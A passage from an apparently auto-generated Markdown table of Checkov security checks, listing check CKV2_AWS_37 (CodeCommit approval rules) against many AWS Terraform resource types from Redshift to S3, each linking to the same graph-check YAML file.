Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1977 | CKV2_AWS_37              | resource                         | aws_redshift_cluster_iam_roles                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1978 | CKV2_AWS_37              | resource                         | aws_redshift_cluster_snapshot                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1979 | CKV2_AWS_37              | resource                         | aws_redshift_data_share_authorization                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1980 | CKV2_AWS_37              | resource                         | aws_redshift_data_share_consumer_association                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1981 | CKV2_AWS_37              | resource                         | aws_redshift_endpoint_access                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1982 | CKV2_AWS_37              | resource                         | aws_redshift_endpoint_authorization                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1983 | CKV2_AWS_37              | resource                         | aws_redshift_event_subscription                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1984 | CKV2_AWS_37              | resource                         | aws_redshift_hsm_client_certificate                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1985 | CKV2_AWS_37              | resource                         | aws_redshift_hsm_configuration                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1986 | CKV2_AWS_37              | resource                         | aws_redshift_logging                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1987 | CKV2_AWS_37              | resource                         | aws_redshift_parameter_group                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1988 | CKV2_AWS_37              | resource                         | aws_redshift_partner                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1989 | CKV2_AWS_37              | resource                         | aws_redshift_resource_policy                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1990 | CKV2_AWS_37              | resource                         | aws_redshift_scheduled_action                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1991 | CKV2_AWS_37              | resource                         | aws_redshift_security_group                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1992 | CKV2_AWS_37              | resource                         | aws_redshift_snapshot_copy                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1993 | CKV2_AWS_37              | resource                         | aws_redshift_snapshot_copy_grant                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1994 | CKV2_AWS_37              | resource                         | aws_redshift_snapshot_schedule                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1995 | CKV2_AWS_37              | resource                         | aws_redshift_snapshot_schedule_association                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1996 | CKV2_AWS_37              | resource                         | aws_redshift_subnet_group                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1997 | CKV2_AWS_37              | resource                         | aws_redshift_usage_limit                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1998 | CKV2_AWS_37              | resource                         | aws_redshiftdata_statement                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1999 | CKV2_AWS_37              | resource                         | aws_redshiftserverless_custom_domain_association                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2000 | CKV2_AWS_37              | resource                         | aws_redshiftserverless_endpoint_access                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2001 | CKV2_AWS_37              | resource                         | aws_redshiftserverless_namespace                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2002 | CKV2_AWS_37              | resource                         | aws_redshiftserverless_resource_policy                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2003 | CKV2_AWS_37              | resource                         | aws_redshiftserverless_snapshot                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2004 | CKV2_AWS_37              | resource                         | aws_redshiftserverless_usage_limit                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2005 | CKV2_AWS_37              | resource                         | aws_redshiftserverless_workgroup                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2006 | CKV2_AWS_37              | resource                         | aws_region_info                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2007 | CKV2_AWS_37              | resource                         | aws_rekognition_collection                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2008 | CKV2_AWS_37              | resource                         | aws_rekognition_project                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2009 | CKV2_AWS_37              | resource                         | aws_rekognition_stream_processor                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2010 | CKV2_AWS_37              | resource                         | aws_resiliencehub_resiliency_policy                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2011 | CKV2_AWS_37              | resource                         | aws_resourceexplorer2_index                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2012 | CKV2_AWS_37              | resource                         | aws_resourceexplorer2_view                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2013 | CKV2_AWS_37              | resource                         | aws_resourcegroups_group                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2014 | CKV2_AWS_37              | resource                         | aws_resourcegroups_resource                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2015 | CKV2_AWS_37              | resource                         | aws_rolesanywhere_profile                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2016 | CKV2_AWS_37              | resource                         | aws_rolesanywhere_trust_anchor                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2017 | CKV2_AWS_37              | resource                         | aws_root                                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2018 | CKV2_AWS_37              | resource                         | aws_root_access_key                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2019 | CKV2_AWS_37              | resource                         | aws_route                                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2020 | CKV2_AWS_37              | resource                         | aws_route53_cidr_collection                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2021 | CKV2_AWS_37              | resource                         | aws_route53_cidr_location                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2022 | CKV2_AWS_37              | resource                         | aws_route53_delegation_set                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2023 | CKV2_AWS_37              | resource                         | aws_route53_health_check                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2024 | CKV2_AWS_37              | resource                         | aws_route53_hosted_zone_dnssec                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2025 | CKV2_AWS_37              | resource                         | aws_route53_key_signing_key                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2026 | CKV2_AWS_37              | resource                         | aws_route53_query_log                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2027 | CKV2_AWS_37              | resource                         | aws_route53_record                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2028 | CKV2_AWS_37              | resource                         | aws_route53_resolver_config                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2029 | CKV2_AWS_37              | resource                         | aws_route53_resolver_dnssec_config                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2030 | CKV2_AWS_37              | resource                         | aws_route53_resolver_endpoint                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2031 | CKV2_AWS_37              | resource                         | aws_route53_resolver_firewall_config                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2032 | CKV2_AWS_37              | resource                         | aws_route53_resolver_firewall_domain_list                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2033 | CKV2_AWS_37              | resource                         | aws_route53_resolver_firewall_rule                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2034 | CKV2_AWS_37              | resource                         | aws_route53_resolver_firewall_rule_group                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2035 | CKV2_AWS_37              | resource                         | aws_route53_resolver_firewall_rule_group_association                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2036 | CKV2_AWS_37              | resource                         | aws_route53_resolver_query_log_config                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2037 | CKV2_AWS_37              | resource                         | aws_route53_resolver_query_log_config_association                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2038 | CKV2_AWS_37              | resource                         | aws_route53_resolver_rule                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2039 | CKV2_AWS_37              | resource                         | aws_route53_resolver_rule_association                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2040 | CKV2_AWS_37              | resource                         | aws_route53_traffic_policy                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2041 | CKV2_AWS_37              | resource                         | aws_route53_traffic_policy_instance                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2042 | CKV2_AWS_37              | resource                         | aws_route53_vpc_association_authorization                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2043 | CKV2_AWS_37              | resource                         | aws_route53_zone                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2044 | CKV2_AWS_37              | resource                         | aws_route53_zone_association                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2045 | CKV2_AWS_37              | resource                         | aws_route53domains_delegation_signer_record                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2046 | CKV2_AWS_37              | resource                         | aws_route53domains_domain                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2047 | CKV2_AWS_37              | resource                         | aws_route53domains_registered_domain                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2048 | CKV2_AWS_37              | resource                         | aws_route53profiles_association                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2049 | CKV2_AWS_37              | resource                         | aws_route53profiles_profile                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2050 | CKV2_AWS_37              | resource                         | aws_route53profiles_resource_association                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2051 | CKV2_AWS_37              | resource                         | aws_route53recoverycontrolconfig_cluster                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2052 | CKV2_AWS_37              | resource                         | aws_route53recoverycontrolconfig_control_panel                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2053 | CKV2_AWS_37              | resource                         | aws_route53recoverycontrolconfig_routing_control                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2054 | CKV2_AWS_37              | resource                         | aws_route53recoverycontrolconfig_safety_rule                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2055 | CKV2_AWS_37              | resource                         | aws_route53recoveryreadiness_cell                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2056 | CKV2_AWS_37              | resource                         | aws_route53recoveryreadiness_readiness_check                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2057 | CKV2_AWS_37              | resource                         | aws_route53recoveryreadiness_recovery_group                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2058 | CKV2_AWS_37              | resource                         | aws_route53recoveryreadiness_resource_set                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2059 | CKV2_AWS_37              | resource                         | aws_route_table                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2060 | CKV2_AWS_37              | resource                         | aws_route_table_association                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2061 | CKV2_AWS_37              | resource                         | aws_rum_app_monitor                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2062 | CKV2_AWS_37              | resource                         | aws_rum_metrics_destination                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2063 | CKV2_AWS_37              | resource                         | aws_s3_access_point                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2064 | CKV2_AWS_37              | resource                         | aws_s3_account_public_access_block                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2065 | CKV2_AWS_37              | resource                         | aws_s3_bucket                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2066 | CKV2_AWS_37              | resource                         | aws_s3_bucket_accelerate_configuration                  